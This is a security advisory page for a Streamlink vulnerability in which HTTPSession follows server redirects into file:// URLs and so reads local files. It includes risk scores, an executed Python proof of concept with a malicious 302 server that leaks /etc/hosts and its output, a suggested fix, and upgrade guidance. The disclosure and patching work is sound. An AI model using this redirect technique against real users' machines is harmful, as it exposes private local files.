Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local filesGHSA-vf2x-4v53-pm7v

MEDIUMFix: streamlink/streamlink@4b99c64

GHSA-vf2x-4v53-pm7v is a medium-severity (CVSS 6.5) CWE-73 vulnerability in streamlink. A fix is available for streamlink — see the affected versions and patch details below.

Also known asCVE-2026-92164
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-vf2x-4v53-pm7v.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs18th percentile — riskier than 18% of all scored CVEsHighest risk
0.00%0.26%0.51%0.77%0.3%0.3%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-vf2x-4v53-pm7v by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍streamlink

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

HTTPSession mounts a FileAdapter for the file:// scheme and inherits redirect handling unchanged from requests.Session. requests does not check for scheme downgrades or cross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can be redirected by the remote server into file:///... and the local file is returned as the response body.

GHSA-hgqw-6m45-hw5f / CVE-2026-44353 fixed direct file:// segment and playlist URIs in HLS playlists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a manifest that lists an ordinary https:// URL passes them, and the redirect happens later at fetch time. The attack surface is the same one that advisory describes, but the flaw is one level down in HTTPSession rather than in the streaming implementations, so it applies to every request the session makes and not only to segment and manifest fetches.

Affected version

Executed against released streamlink 8.5.0 (PyPI, installed into a clean venv on Python 3.12).

Attacker model

The attacker controls a URL the victim's Streamlink run reaches: a playlist or manifest URL passed on the command line, or any http(s) URL referenced from attacker-controlled manifest content. No privileges on the victim host and no file:// input are required, and the file:// scheme never appears in anything the victim or the manifest parser sees.

Proof of concept, executed

import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

from streamlink.exceptions import StreamError
from streamlink.session.http import HTTPSession

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/segment":
            self.send_response(302)
            self.send_header("Location", "file:///etc/hosts")
            self.end_headers()
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, *a):
        pass

srv = HTTPServer(("127.0.0.1", 0), H)
port = srv.server_port
threading.Thread(target=srv.serve_forever, daemon=True).start()

s = HTTPSession()
res = s.get(f"http://127.0.0.1:{port}/segment", exception=StreamError, timeout=5)
print("requested   http://127.0.0.1:%d/segment" % port)
print("final_url  ", res.url)
print("status     ", res.status_code)
print("content    ", res.content[:40])
srv.shutdown()

Output:

requested   http://127.0.0.1:52205/segment
final_url   file:///etc/hosts
status      200
content     b'##\n# Host Database\n#\n# localhost is used'

The request goes out over http, the response comes back from the local filesystem, and nothing in between rejects the scheme change. Substituting a path the attacker wants read for /etc/hosts returns that file's contents into whatever consumes the response, which for a segment fetch means the file is written into the stream output.

Suggested fix

Override get_redirect_target() or resolve_redirects() on HTTPSession and reject a redirect whose target scheme is not the same as the request's scheme or a permitted upgrade of it. Doing it on the session rather than through a response hook keeps plugin authors from removing the check by overriding hooks. Custom protocol adapters can still redirect, but only to https or to their own scheme.

AI tooling

AI assistance was used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIstreamlinkall versions8.6.0pip install --upgrade 'streamlink==8.6.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for streamlink, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update streamlink to 8.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vf2x-4v53-pm7v is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

## Summary `HTTPSession` mounts a `FileAdapter` for the `file://` scheme and inherits redirect handling unchanged from `requests.Session`. `requests` does not check for scheme downgrades or cross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can be redirected by the remote server into `file:///...` and the local file is returned as the response body. `GHSA-hgqw-6m45-hw5f` / `CVE-2026-44353` fixed direct `file://` segment and playlist URIs in HLS playlists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a manifest t
O3 Security · Impact-Aware SCA

Is GHSA-vf2x-4v53-pm7v in your dependencies?

Find it across PyPI, including transitive dependencies.

Streamlink: HTTPSession follows HTTP redirects into…